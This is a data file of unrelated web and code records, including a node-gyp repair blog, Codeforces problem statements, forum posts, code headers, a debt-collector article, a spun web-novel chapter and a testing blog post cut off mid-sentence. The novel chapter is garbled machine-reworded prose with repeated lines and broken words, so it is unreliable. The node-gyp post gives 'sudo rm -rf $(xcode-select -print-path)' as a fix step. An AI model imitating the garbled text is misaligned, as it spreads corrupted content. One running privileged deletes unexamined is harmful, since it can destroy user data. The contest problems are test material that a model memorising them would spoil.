{"text": "How to fix the Node gyp Error: No Xcode or CLT version detected\nIn this post we will give you information about How to fix the Node gyp Error: No Xcode or CLT version detected. Hear we will give you detail about How to fix the Node gyp Error: No Xcode or CLT version detectedAnd how to use it also give you demo for it if it is necessary.\nwe will learn how to solve the node gyp Error: No Xcode or clt version detected in mac os.\nno receipt for ‘com.apple.pkg.cltools_executables’ found at ‘/’.\nWhen you update a node.js or npm to the latest version and you are trying to install a new npm package using npm install package-name command you will see the weird error like this in your terminal.\nNo receipt for 'com.apple.pkg.CLTools_Executables' found at '/'.No receipt for 'com.apple.pkg.DeveloperToolsCLILeo' found at '/'.No receipt for 'com.apple.pkg.DeveloperToolsCLI' found at '/'.gyp: No Xcode or CLT version detected!gyp ERR! configure errorgyp ERR! stack Error: 'gyp' failed with exit code: 1gyp ERR! stack at ChildProcess.onCpExit (/usr/local/lib/node_modules/npm/node_modules/node-gyp/lib/configure.js:343:16)gyp ERR! stack at ChildProcess.emit (events.js:98:17)gyp ERR! stack at Process.ChildProcess._handle.onexit (child_process.js:810:12)gyp ERR! System Darwin 14.0.0gyp ERR! command \"node\" \"/usr/local/lib/node_modules/npm/node_modules/node-gyp/bin/node-gyp.js\" \"rebuild\"gyp ERR! cwd /usr/local/lib/node_modules/gulp/node_modules/fseventsgyp ERR! node -v v13.10.33gyp ERR! node-gyp -v v5.0.7gyp ERR! not ok\nTo fix this error, you need to re-install the Xcode command-line tools.\n- First, delete the Xcode tools by using the below command.\nsudo rm -rf $(xcode-select -print-path)\nThis above command asks for a system password.\n- Now, install the Xcode by running this command.\nThis command prompts with a popup, click on the install button and proceed with the installation.\nIt takes some time to download and install the Xcode command-line tools.\nOnce you are successfully installed, you can now download new npm packages without any (gyp) error messages.\nHope this code and post will helped you for implement How to fix the Node gyp Error: No Xcode or CLT version detected. if you need any help or any feedback give it in comment section or you have good idea about this post you can give it comment section. Your comment will help us for help you more and improve us. we will give you this type of more interesting post in featured also so, For more interesting post and code Keep reading our blogs", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "The Perfect Poison\n1:30 PM, Friday 25 May 2018 (1 hour 30 minutes)\nIs it possible to create a poison that will kill only the target, no matter who else is exposed? Genetic engineering and personalized medicine may well collide in a perfect storm of individually targeted weapons rather than cures. What genetic markers would be most useful? What if you can target families or ethnic groups?\nSense of Wonder Press", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 94, "token_count_with_eod": 95, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Novel–Unrivaled Medicine God–Unrivaled Medicine God\nact of giving birth to puppies\nChapter 2318 – Declined Human Race Alchemy Dao! romantic fancy\nOriginguard smiled faintly and reported, “That’s ideal. You’re very clever. Over the last Doomsday Conflict, a persons race’s alchemy path powerhouses brought us huge troubles. If they are not for people couple of aged fellows, regularly providing medicinal capsules, we wouldn’t have been unsuccessful by any means. Hence, this ancestor naturally won’t overlook this chance that only occurs once in the light blue moon. It is only a disgrace that considering it now, this ancestor manufactured way too much of a hassle above absolutely nothing.”\nEverybody was surprised, getting speechless.\nOn the other hand, some aged fellows with very high seniority possessed evidently heard of this thing well before, each considered one of their expression becoming very awful.\nThe identity sounded horrifying, but without truly experiencing such a challenge, who would really pay attention to this label.\n“Is this the divine race? They don’t have society energy at all! So what on earth they are really working with is the potency of Incredible Dao!”\nAnd also in this simple while, either side were actually previously fighting in special quarters, clas.h.i.+ng together.\nTreatment Ancestor’s gaze changed slightly sullen in which he explained in a very freezing speech, “Who on earth can be your esteemed personal? Should you still don’t say it, this ancestor will likely be impolite!”\nOriginguard smiled faintly and reported, “Looks such as you all currently fully grasp what’s the divine competition. My divine competition could be the race decided on through the heavens only cultivating Divine Dao! Before the past epoch, it possessed for ages been our divine race ruling the Heavenspan Community. Regardless if your human being competition, demon race, or any other backrounds, that you were all our slaves! And now, we are intending to have back all that we misplaced!”\nAlthough at the moment, the abyss monsters’ primary influx assault also emerged.\nThe explosion looks lingered on incessantly. Screams associated up collectively.\nWhile the divine race’s powerhouses went substantially more without declaring.\nAn Estimate of the Value and Influence of Works of Fiction in Modern Times\nNonetheless, some ancient fellows with excellent seniority acquired evidently been told about it right before, just about every amongst their expressions becoming very awful.\nMedication Ancestor possessed a stunned confront because he mentioned, “You … Who the h.e.l.l are you?”\nOne influx of episode after one other fired in the audience neat and tidily, and increased away.\nThis amount of implies was absolutely on the similar cla.s.s as Drugs Ancestor, an lifestyle who was not inferior to Treatments Ancestor within the smallest.\nOne wave of invasion after an additional fired into your masses nice and tidily, and increased a part.\nIt turned out only that like this, the human race’s manpower grew to become severely limited.\nA persons powerhouses had been finally surprised!\nWhile the divine race’s powerhouses journeyed all the more without announcing.\nMedicine Ancestor experienced a stunned experience while he stated, “You … Who the h.e.l.l are you currently?”\nIt absolutely was just that doing this, the human race’s manpower has become severely limited.\nA persons powerhouses ended up all akin to experiencing a terrific enemy, happening cautious alert an individual after a different.\nOriginguard smiled lightly and stated, “Don’t contemplate escaping. You will discover 36 thousand Eight-spots Divine Dao Realm powerhouses during the void outside Cloudheart World, casting the Huge Xingtian Paradise Securing Art! Even Deva 4th Blights can just forget about escaping right here as well! Child, you’re really a natural talent, it is simply a shame that … you can’t be utilized by us!”\nWhile divine race’s powerhouses journeyed even more without declaring.\nThe divine race was actually the previous ruler!\nAcross the heavens, all types of frightening martial procedures roared over, rumbling sounds sounding out overall.\nOriginguard smiled faintly and stated, “Looks like my divine race hasn’t enter in to remaining for too long currently. You humans have already ignored that is the real become an expert in of your Heavenspan Society! Today, have the Heavenspan Society tremble!”\nWhilst right now, the abyss monsters’ initial wave infiltration also arrived.\nThe opponents were actually too formidable!\nChapter 2318: Declined Our Race Alchemy Dao!\nDrugs Ancestor had a surprised experience as he stated, “You … Who the h.e.l.l are you?”\nIf the our competition powerhouses spotted this landscape, each and every one among their expressions transformed substantially.\nwhat is a live well used for\nOnce the powerhouses who originated to participate in the Myriad Vicinity Alchemy Convention spotted this type of brand-up, their facial looks also could not quite guide shifting.\nPresently, their gazes while looking toward Originguard turned out to be various.\nthe shaman’s apprentice\n“Do you folks consider whether or not this ancestor knows what Alchemy Dao is?” Originguard claimed with a faint smile.\nThe moment they entered the conflict, it was subsequently like tigers entering a go of sheep, the lethality becoming extremely excellent.\nNovel–Unrivaled Medicine God–Unrivaled Medicine God", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "At the Byteland State University marks are strings of the same length. Mark x is considered better than y if string y is lexicographically smaller than x.\n\nRecently at the BSU was an important test work on which Vasya recived the mark a. It is very hard for the teacher to remember the exact mark of every student, but he knows the mark b, such that every student recieved mark strictly smaller than b.\n\nVasya isn't satisfied with his mark so he decided to improve it. He can swap characters in the string corresponding to his mark as many times as he like. Now he want to know only the number of different ways to improve his mark so that his teacher didn't notice something suspicious.\n\nMore formally: you are given two strings a, b of the same length and you need to figure out the number of different strings c such that:\n\n1) c can be obtained from a by swapping some characters, in other words c is a permutation of a.\n\n2) String a is lexicographically smaller than c.\n\n3) String c is lexicographically smaller than b.\n\nFor two strings x and y of the same length it is true that x is lexicographically smaller than y if there exists such i, that x1 = y1, x2 = y2, ..., xi - 1 = yi - 1, xi < yi.\n\nSince the answer can be very large, you need to find answer modulo 109 + 7.", "source": "cpt_codeforces", "language": "en", "token_count": 310, "token_count_with_eod": 311, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "I have written \"the crash is due to out of bound accesses\" which can be fixed by those changes (with %79), in the sense that the crash does not happen anymore when those bounds are enforced and therefore it proves in my eyes that those specific calls are the culprit. period.\nI hope this is an issue with language barrier, because if it isn't, you're digging a whole for yourself. Those are not \"calls\" - they are array accesses. They are not the \"culprit\" for any definition of the word. The fact that they crash is a symptom. The culprit causing out-of-bound accesses is probably miles away. This is what I jokingly call \"forensic debugging\" at work. You can easily see that things aren't as they should be, but the trick is working backwards to discover what got them into that state. It isn't easy.\nAlso, %79 doesn't do what you want, anyway: that produces a number in the range 0..78 so attempting to access the last element in the array would wrap around to the first. You want %80 if anything, but as everyone has already mentioned, it's an expensive non-fix for an issue elsewhere. Treating the symptom doesn't cure the disease.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 260, "token_count_with_eod": 261, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given two circles. Find the area of their intersection.", "source": "cpt_codeforces", "language": "en", "token_count": 13, "token_count_with_eod": 14, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "You are given two integers $$$n$$$ and $$$k$$$. You are asked to choose maximum number of distinct integers from $$$1$$$ to $$$n$$$ so that there is no subset of chosen numbers with sum equal to $$$k$$$.\n\nA subset of a set is a set that can be obtained from initial one by removing some (possibly all or none) elements of it.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "// ======================================================================\n//  Copyright (c) 2004-2010, G. Fiori, G. Iannaccone  University of Pisa\n//  \n//  This file is released under the BSD license.\n//  See the file \"license.txt\" for information on usage and\n//  redistribution of this file, and for a DISCLAIMER OF ALL WARRANTIES.\n// ====================================================================== \n#include <math.h>\n#include \"complex.h\"\n#include \"cmatrix.h\"\n#include \"cvectorm.h\"\n#include \"ctensor4.h\"\n#include \"cmatinv.h\"\n#include \"cmatmul.h\"\n#include \"cmatsub.h\"\n#include \"cmatsum.h\"\n#include \"cfree_cmatrix.h\"\n#include \"cfree_cvectorm.h\"\n#include \"cfree_ctensor4.h\"\n#include \"cmatmul3.h\"\n#include \"cdabs.h\"\n#include \"csub.h\"\n#include \"csum.h\"\n#ifndef RGFBLOCK_lAKE_H\n#define RGFBLOCK_lAKE_H\ncomplex ****rgfblock_Lake(complex ***lowdiag,complex ***diag,\n\t\t\t  complex ***updiag,int n,int Nc,int flagball);\n#endif", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Topic category: Help with modding (Java Edition)\nI'm trying to make a mechanic where if someone right clicks a slime of any size with an empty bottle it'll not only fill the bottle but also decrease the slime's size.\nHowever, as shown below, this doesn't work when adding other else-if statements and will ALWAYS despawn the slimes regardless of sizing. Does anybody know what could be causing this issue?\nI should also note; i've already tried changing the less than or equal to parameter on the last elseif statement but it still doesn't work.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 117, "token_count_with_eod": 118, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "The Maestro Project Server (which includes Continuum and Archiva) allows project teams to consistently ensure the health of the code through continuous integration. By default, the Maestro Project Server checks hourly for any changes in a project's source files and automatically re-builds for you.\nTypically, the Maestro Project Server is installed on a server, not your local system. For the purposes of the Jetty demonstration, we are using a local file system as SCM so the demonstration does not require installation of other, external programs. The downside of that is that the Maestro Project Server will always think the sources have changed and re-build.\nThis section will guide you through adding and building the Jetty project in the Maestro Project server.\nTo add Jetty to the Maestro Project Server:\nNote: If the Maestro process is running, but you cannot display the page in your browser, it may be due to a port conflict. If Maestro automatically started during installation and there was already another process listening on port 8080, then you need to reconfigure Maestro's port number. Please see the Section titled Changing the Maestro Project Server's Port Number in the Maestro Project Server User Guide.\nYou must be logged in as a user that has been granted the right to add projects. By default the \"admin\" user has those rights. Please refer to the Maestro Project Server User Guide for help in creating/logging in as an administrator or as a user with the correct privileges.\nYou can manually set the FILE protocol by editing [maestro_home]\\projectserver\\apps\\continuum\\WEB-INF\\classes\\META-INF\\plexus\\application.xml.\nMake sure that the <allowedScheme>file</allowedScheme> tag is present and not commented out.\nYou need to restart Maestro Project Server for the changes to take effect.\nWays to Add a Project Group\n1. While in the Show Project Groups screen, click Add Project Group.\n2. On the Add Project Group screen (see figure below), fill in the following information and click Save:\n3. Continue with step 10, below.\nWhere: [maestro_home] is the directory in which you installed the Maestro Project Server.\nSelection from Project Group pull-down menu\n|You manually defined the project group,||Select the project group name you had created for the Jetty project (in our example above this was Jetty Server Project).|\n|You want the POM to define the project group,||Select Defined by POM.|\nBy specifying the parent POM we automatically added all the modules by aggregation. Without the parent POM you would have to add the projects individually.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "By aravind on Jul 11, 2008\nOpenSSO server uses HTTP(S) to send change notifications to other servers and also to remote clients that have registered for changes. The implementation uses java.net.URLConnection, a common issue faced with it was the extraordinarily long read timeout when receiving end was not alive. Luckily J2SE 5.0 provides a solution by exposing a method setReadTimeout. OpenSSO uses this method to set the timeout and the configuration parameter that must be set correctly in OpenSSO:\ncom.sun.identity.url.readTimeoutThis property could be set as an Advanced property in \"Servers and Sites\" Configuration tab and the value should be in milliseconds.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 144, "token_count_with_eod": 145, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "benjamin_soule is followed byFollowing | Followers\nget your chocolate following me\nbarmen with \"dead voice\"\nI am just a coder that makes games for my self.\nHello there. I am an active use of Pico-8 and really enjoy participating in Game Jams. I focus a little extra on game feel and juice when making games so if you enjoy that then you should totally check out my games ;).\ni am japanese podcaster. podcast program name is \"Apple News Radio Voice of onebutton\"\ni am not a programmer, my lucky is PICO-8 to encounter.\nDon't bother me if you only want to judge me\nHoi. I'm Notester82. \"Note\" works just fine too. I'm interested in gamedev and I'm looking forward to working with GameMaker Studio 2 and of course, Pico-8! OUO\nHi there! It's my profile!\nMaking tiny things with the power of love.\nCode Design Create Play\nAspiring game developer. I really like character action games. Pico-8 is my dream console - a system (and community!) that encourages fun games that you can customize and tweak.\nI'm an engineer, artist, game dev, and Linux lover. I like math, code, tiny computers, and colorful pixels <3\na Lecturer at University of Malta and a Game Developer/Designer", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 294, "token_count_with_eod": 295, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given a box full of mirrors. Box consists of grid of size n × m. Each cell of the grid contains a mirror put in the shape of '\\' or ' / ' (45 degree to the horizontal or vertical line). But mirrors in some cells have been destroyed. You want to put new mirrors into these grids so that the following two conditions are satisfied:\n\n1. If you put a light ray horizontally/vertically into the middle of any unit segment that is side of some border cell, the light will go out from the neighboring unit segment to the segment you put the ray in.\n2. each unit segment of the grid of the mirror box can be penetrated by at least one light ray horizontally/vertically put into the box according to the rules of the previous paragraph\n\nAfter you tried putting some mirrors, you find out that there are many ways of doing so. How many possible ways are there? The answer might be large, so please find the result modulo prime number MOD.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "I'm setting up a new communty site for ArteNudo.com with Joomla & Jomsocial but the original is set up with Oxwall. Is anyone familiar with transfering Oxwall to Jomsocial? And if so is there a manual for it? OK, that last part is maybe being over optimistic...;-)\n- Instead of saying: 'it's not working', explain the problem in detail.\n- Screenshots with the URL visible in them and the problem marked are more than welcome.\n- Tell us how to replicate the problem, we can't fix it if we can't find it.\n- Make sure that your site/server meets JomSocial System Requirements\n- Make sure to setup JomSocial Cron Job\n- Always provide us with access details to the backend and ftp. We need it to debug problems.\n- If you have a similar problem, but a solution you found isn't working, open a new thread instead of 'merging' with an existing one.\n- Use the \"Thank You\" feature on any post that helped you", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 219, "token_count_with_eod": 220, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "//\n//     Generated by classdumpios 1.0.1 (64 bit) (iOS port by DreamDevLost)(Debug version compiled Sep 26 2020 13:48:20).\n//\n//  Copyright (C) 1997-2019 Steve Nygard.\n//\n\n#import <SpringBoardUIServices/SBUIRemoteAlertServiceViewController.h>\n\n#import \"SUClientInterfaceDelegate-Protocol.h\"\n#import \"ServiceAccountPageEmbeddedParent-Protocol.h\"\n#import \"UIAdaptivePresentationControllerDelegate-Protocol.h\"\n#import \"UIViewControllerTransitioningDelegate-Protocol.h\"\n\n@class NSString, NSURL, SUClientInterface, UIViewController;\n\n@interface ServiceWebViewPromptViewController : SBUIRemoteAlertServiceViewController <SUClientInterfaceDelegate, ServiceAccountPageEmbeddedParent, UIAdaptivePresentationControllerDelegate, UIViewControllerTransitioningDelegate>\n{\n    _Bool _shouldUseAMS;\t// 8 = 0x8\n    _Bool _viewControllerShown;\t// 9 = 0x9\n    SUClientInterface *_clientInterface;\t// 16 = 0x10\n    UIViewController *_underlyingViewController;\t// 24 = 0x18\n    NSURL *_URL;\t// 32 = 0x20\n}\n\n+ (id)_generateClientInterface;\t// IMP=0x0000000100018ac4\n- (void).cxx_destruct;\t// IMP=0x0000000100019404\n@property(nonatomic) _Bool viewControllerShown; // @synthesize viewControllerShown=_viewControllerShown;\n@property(retain, nonatomic) NSURL *URL; // @synthesize URL=_URL;\n@property(retain, nonatomic) UIViewController *underlyingViewController; // @synthesize underlyingViewController=_underlyingViewController;\n@property(nonatomic) _Bool shouldUseAMS; // @synthesize shouldUseAMS=_shouldUseAMS;\n@property(retain, nonatomic) SUClientInterface *clientInterface; // @synthesize clientInterface=_clientInterface;\n- (id)_viewControllerForType:(long long)arg1;\t// IMP=0x0000000100018f70\n- (id)_sanitizedURL;\t// IMP=0x0000000100018d0c\n- (void)_presentViewController;\t// IMP=0x0000000100018bbc\n- (void)_dismiss;\t// IMP=0x00000001000189b4\n- (void)_determineTypeForURL:(id)arg1 completion:(CDUnknownBlockType)arg2;\t// IMP=0x000000010001873c\n- (id)_bag;\t// IMP=0x000000010001865c\n- (id)presentationControllerForPresentedViewController:(id)arg1 presentingViewController:(id)arg2 sourceViewController:(id)arg3;\t// IMP=0x00000001000185d0\n- (void)presentationControllerDidDismiss:(id)arg1;\t// IMP=0x00000001000185c4\n- (long long)adaptivePresentationStyleForPresentationController:(id)arg1 traitCollection:(id)arg2;\t// IMP=0x00000001000185bc\n- (void)attemptDismissHostViewController;\t// IMP=0x0000000100018568\n- (void)dismissHostViewController;\t// IMP=0x000000010001855c\n- (_Bool)shouldAutorotate;\t// IMP=0x0000000100018500\n- (unsigned long long)supportedInterfaceOrientations;\t// IMP=0x00000001000184a0\n- (void)viewDidAppear:(_Bool)arg1;\t// IMP=0x00000001000183a8\n- (void)_willAppearInRemoteViewController;\t// IMP=0x000000010001830c\n- (void)viewDidLoad;\t// IMP=0x000000010001826c\n- (void)handleHomeButtonPressed;\t// IMP=0x0000000100018260\n- (void)handleButtonActions:(id)arg1;\t// IMP=0x000000010001812c\n- (void)configureWithContext:(id)arg1 completion:(CDUnknownBlockType)arg2;\t// IMP=0x0000000100017f44\n- (void)dealloc;\t// IMP=0x0000000100017f10\n- (id)initWithNibName:(id)arg1 bundle:(id)arg2;\t// IMP=0x0000000100017e54\n\n// Remaining properties\n@property(readonly, copy) NSString *debugDescription;\n@property(readonly, copy) NSString *description;\n@property(readonly) unsigned long long hash;\n@property(readonly) Class superclass;\n\n@end", "source": "cpt_stack_code", "language": "code", "token_count": 1219, "token_count_with_eod": 1220, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Snakebite is the second neglected tropical killer being responsible for over 100,000 human deaths and 400,000 victims of disability and disfigurement globally every year.\nSnakebite mostly affects poor and rural communities in developing and emerging countries, where both snakebite is more frequent and access to life-saving healthcare (e.g. antivenom) is limited or absent. Sub-Saharan Africa and South and South-East Asia are among the most affected areas of the world, but China is also suffering with more than 4,000 deaths every year.\nYou will have the opportunity to work collaboratively with experts from academia and international organizations based in Geneva and beyond:", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 143, "token_count_with_eod": 144, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Santa Claus has n candies, he dreams to give them as gifts to children.\n\nWhat is the maximal number of children for whose he can give candies if Santa Claus want each kid should get distinct positive integer number of candies. Santa Class wants to give all n candies he has.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Calculates the Theil measure of inequality of values within neighbours defined in\nUses inequality.theil.Theil under the hood. Requires ‘inequality’ package.\nGeoDataFrame containing morphological tessellation\nthe name of the dataframe column, np.array, or pd.Series where is\nstored character value.\nspatial weights matrix\nname of the column with unique id used as spatial_weights index\nPercentiles over which to compute the range. Each must be\nbetween 0 and 100, inclusive. The order of the elements is not important.\nif True, shows progress bars in loops and indication of steps\n>>> sw = momepy.sw_high(k=3, gdf=tessellation_df, ids='uID')\n>>> tessellation_df['area_Theil'] = mm.Theil(tessellation_df,\n100%|██████████| 144/144 [00:00<00:00, 597.37it/s]\nSeries containing resulting values\nSeries containing used values\nSeries containing used unique ID\nInitialize self. See help(type(self)) for accurate signature.\n__init__(gdf, values, spatial_weights, unique_id)", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 256, "token_count_with_eod": 257, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Are you dealing with a debt collector who won’t leave you alone? Do they call you day and night and embarrass you at work? Before you contemplate filing bankruptcy to stop the unwanted contact, learn more about how the law protects you as an indebted consumer.\nYour Rights Under the FDCPA\nAll consumers are protected by the federal Fair Debt Collection Practices Act (FDCPA). Any third-party debt collector that ignores your debt dispute, keeps calling you after being asked to stop, or uses any of these actions to make you pay can be fined and even closed down.\n- Swearing and using profane language\n- Calling at all hours of the day and night\n- Refusal to provide you with information about the debt\n- Ignoring a formal cease communications request\n- Calling before 8:00 a.m. and after 9:00 p.m. in your time zone\n- Discussing the debt with your family, friends, and co-workers\nCompany Profile: PYOD, LLC\nIf you are being called by PYOD, LLC, you can learn more about the company below.\nPYOD, LLC is a debt buyer located in Greenville, South Carolina.\nIt was founded in 2007, employs 25 people, and is managed by Bryan K. Faliero. It outsources purchased debts to Resurgent Capital Services for collection. An inspection of civil litigation records at the PACER website suggests that consumers who believed they were being harassed by PYOD, LLC filed lawsuits to hold the company accountable.\nAlleged Violations against PYOD, LLC\nAccording to PACER, on or around January 3, 2018, PYOD, LLC allegedly sent a collection letter to a Texas consumer through an agent. It stated, in part:\nThe law limits how long you can be sued on a debt. Because of the age of your debt, PYOD LLC will not sue you for it and PYOD LLC will not report it to any credit reporting agency.\nNotwithstanding the fact that the debt was time-barred, PYOD, LLC requested payment for it and even offered payment arrangements.\nFeeling harassed by PYOD, LLC, the consumer hired a consumer attorney and sued the company for the following alleged FDCPA violations:\n- Using false, deceptive, and misleading means to collect a debt\n- Misrepresenting the legal status of the debt\n- Threatening legal action not intended to be taken\nThe matter was later dismissed.\nHire a Consumer Lawyer\nThe phone number for this collection agency is 1-888-665-0374. If you see it on your caller ID, you’re being called by PYOD, LLC. If they try to make you pay a debt barred by statute, don’t be intimidated. Hire a consumer lawyer and file a claim against PYOD, LLC for violating your rights. If you win, you could receive $1000 per FDCPA violation plus your legal costs, so stand firm and make the company pay you instead.\n*Case taken from PACER (www.pacer.gov). File number is Case 3:18-cv-00963-D from the United States District Court for the Northern District of Texas, Dallas Division.\nThe content of this article serves only to provide information and should not be constructed as legal advice. If you file a claim against PYOD, LLC, or any other third-party collection agency, you may not be entitled to any compensation.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 726, "token_count_with_eod": 727, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "This quest is built of 3 parts. The first person to complete part 1 will cause the reveal of part 2 to everyone when/if they complete part 2. Same with part 3.\nPart 1: Build a spider web.\nPart 2 revealed by Faceless: Capture an image of a real spider on your web.\nYou can build it out of any materials you like. No drawings, only builds.\nPlease take and post a photo of your spider web and ensure there is a piece of paper in the image with your MD name and the date on it.\nPrizes depend on how you play.\nPart 3 is a live event and will be held sometime from the 28th of October. If nobody reaches part 3 by then...that part won't happen.\nI'm looking for people to host/organise quests for this coming Halloween (31st October), if you are interested, please let me know and I will add you to the ongoing discussion.\nAs the 31st is a Monday, I was wondering which of the three options would the majority of public prefer; quests held/beginning on the Friday, Sat and Sunday before Halloween (28th,29th & 30th), just the Monday (31st) or for the entire week commencing 31st?\nA few of the quests planned already will take longer than a day to complete, so quests that can be completed in shorter time-spans would be greatly appreciated!\nIf you require help organising/planning or sponsoring quests for halloween, feel free to give me a message!\n[font=arial, sans-serif][size=2][size=5][font=georgia,serif]Create a Limerick pertaining to another character here in MD, make sure it's funny as the funniest 3(voted on in forums) will win a prize! Rules: You have the weekend til Sunday at midnight Pacific time! Limericks are written in style AABBA in other words the first and second lines rhyme with each other as do the third and fourth but the last one rhymes with the first.[/font][/size][/size][/font]\nI wanted to bring up something I though has been a little unfair in the Heads Contest. I have been told it is unfair anyways, but hey. I thought this overstepped a little, and I wanted to bring it up. The problem I have seen is certain people, who are not in the Heads Contest, interfering with how it is running. This is mainly happening in two ways.\nOne, as far as I heard, people from outside the competition should not be able to take the heads of those in the competition. This has happened twice to me, and is in fact the only times I have lost heads. The first was from an attack by Eon, and then the next in one of the attacks from a group of other people. I wouldn't normally care, except that in both cases I lost all my heads. I would count this more as a bug, or perhaps a problem with BHC competitions going at the same time.\nThe second, and what I consider the more problematic and disturbing, is the use of certain spells and powers to influence the competition by people who are not participating. This one I have included the below screenshots for, to show proof of an event that happened today. It says in the Heads Contest page that the leaders will most probably hide, and we certainly were hiding, preserving our heads. But someone, which by the screenshots and information I have been told is most likely dst, teleported the leaders to the Gazebo of Equilibrium, where we promptly got beaten and our heads taken by people not in the competition. Beyond how this affects the scores of the people, it also artificially lengthens the competition, because we cannot advance and get to stage 2 as fast with less heads.\nHere are the screenshots, with the spell, the server times, and the UID of the person who casted the spell circled (I have been told the UID is dst)\nWhat are people's opinions of this? I know many consider the competition a joke because of certain fighters not being able to fight, since they have won, but shouldn't the competition still be followed instead of playing with the competitors like this? I also thought that spells weren't even allowed. I am genuinely interested in people's opinions and if there are in fact rules that are being broken.\nOk, there's this fugitive fellow called smoothbeauty (mp4) who can gain heads but cannot be attacked.\nProbably a bug. Dst prompted me to report it here and also send an email to the Council, which I did.\nHere's the topic that got this started: [url=\"http://magicduel.invisionzone.com/topic/11603-a-fugitive-contestant/page__pid__103018#entry103018\"]http://magicduel.inv...018#entry103018[/url]", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "This is the simple card box system that make you able to find and save your ideas.\n- jquery: v1.12.4 or higher.\n- jquery-ui: v1.12.1 or higher.\n- jquery.mousehold: v1.0 or higher.\ndemo.html is very simple HTML template. It is just a suggestion. For more details, refer to the following.\nMore detail demos\nThis card box can save card and tag data to server. If you create tag, the autocomplete function provides the tag of name as suggestions while you type into the field. The tagging and autocompletion enables you to quickly find and discover potential relations among the cards that you created.\nThis prototype has been loosely coupled with an autocompletion function. Then this application predicts the rest of a word you are typing. The autocompletion algorithm is implemented by accel-brain-code/Reinforcement-Learning-with-js.\n- 「時間」感覚の等価機能主義的な社会システム理論 (Japanese)\n- 「記憶」想起の人間学的唯物論的なメディア美学 (Japanese)\n- 深層強化学習のベイズ主義的な情報探索に駆動された自然言語処理の意味論 (Japanese)\n- ヴァーチャルリアリティにおける動物的「身体」の物神崇拝的なユースケース (Japanese)\n- GNU General Public License v2.0", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 293, "token_count_with_eod": 294, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I’m writing some blog entries that show how to write tests for non trivial pieces of code. This is part 1.\nThe code that we’re going to test is\nCCallbackTimer. This is a class that lives in our Win32Tools library. It’s used by users of our SocketTools library. The class provides a very light-weight timer manager that gets around the various issues we had with using standard Win32 timers.\nThe timer is designed to be used in vast quantities. Let’s have a timer, or two, for each connection and let’s have 10,000 connections… Because of this we wanted the timer to be something that we could create lots of without caring.\nThe threading rules and potential ‘weight’ of WaitableTimers meant that they weren’t of use to us.\nThe fact that we needed to support NT 4 and Windows 95/98 meant that we couldn’t use TimerQueues, which is a pity because they’re otherwise a pretty good match.\nThe class implements a timer queue. Timers are placed on the queue and the class deals with making sure they’re kept in the correct order (soonest first). A thread sleeps for as long as is necessary for the first timer and then wakes up and calls a user supplied callback function. The thread then goes back to sleep until the next timer expires. You can cancel and reset timers before they go off and you can pass user data to the callback function.\nThe code is less than ideal. It was written during a fairly high pressure phase of a project and that shows. I feel it’s a bit too complicated for its own good and there’s been a known bug in the code since the start.\nThe current complexity and the bug is why we’re interested in writing tests. We want a test that proves the existence of the bug so that we can fix the bug and make the test pass. We’d like to have additional tests in place before we do that so that we can make sure that we don’t break any of the existing functionality when we fix the bug.\nThe class is reasonably cohesive (it does just one thing) and at first sight doesn’t appear to be too highly coupled to other concepts; it only uses basic types and its own handle type in its function signatures. However when we tried to break the code out into the smallest project that would compile we discovered that it uses a surprising number of other classes to get its work done.\nThe Win32Tools library is generally where we keep code that makes Win32 primitives a little easier to use; we have events, threads, critical sections, a wide/narrow string that is the correct width depending on your\nUNICODE settings, etc. The callback timer uses a thread object because it runs in its own thread, it uses a critical section to allow correctly syncronised access to its data structures, an auto reset event so that the thread can wait for the next timeout and yet still be controllable if we want to shut down the timer queue. The code that the callback timer object uses directly also uses other code; most things throw one of our standard exception types and most things use\n_tstring for strings. This isn’t too bad really since all of these things live in the same library and the user of\nCCallbackTimer doesn’t really have to understand many of them to use\nThe class also uses another library; our C++Tools library. This was originally seen as a place to keep stuff that isn’t platform specific and yet isn’t specific to any particular business need. We found there wasn’t that much that fell into this category; or at least we’ve been less aggressive at refactoring and harvesting this kind of code. The callback timer object uses\nCNodeList from this library.\nCNodeList is our home grown invasive doubly linked list. It’s used in the callback timer because when we want to cancel or reset a timer we have direct access to the node in the list and thus removals are simple. I’d really like to be rid of this dependency…\nSo, there we have it. The code that we’re intending to test can be downloaded from here. I’m presenting them in ‘lowest common denominator’ format, i.e. VC 6 projects, since I can’t be bothered to maintain 3 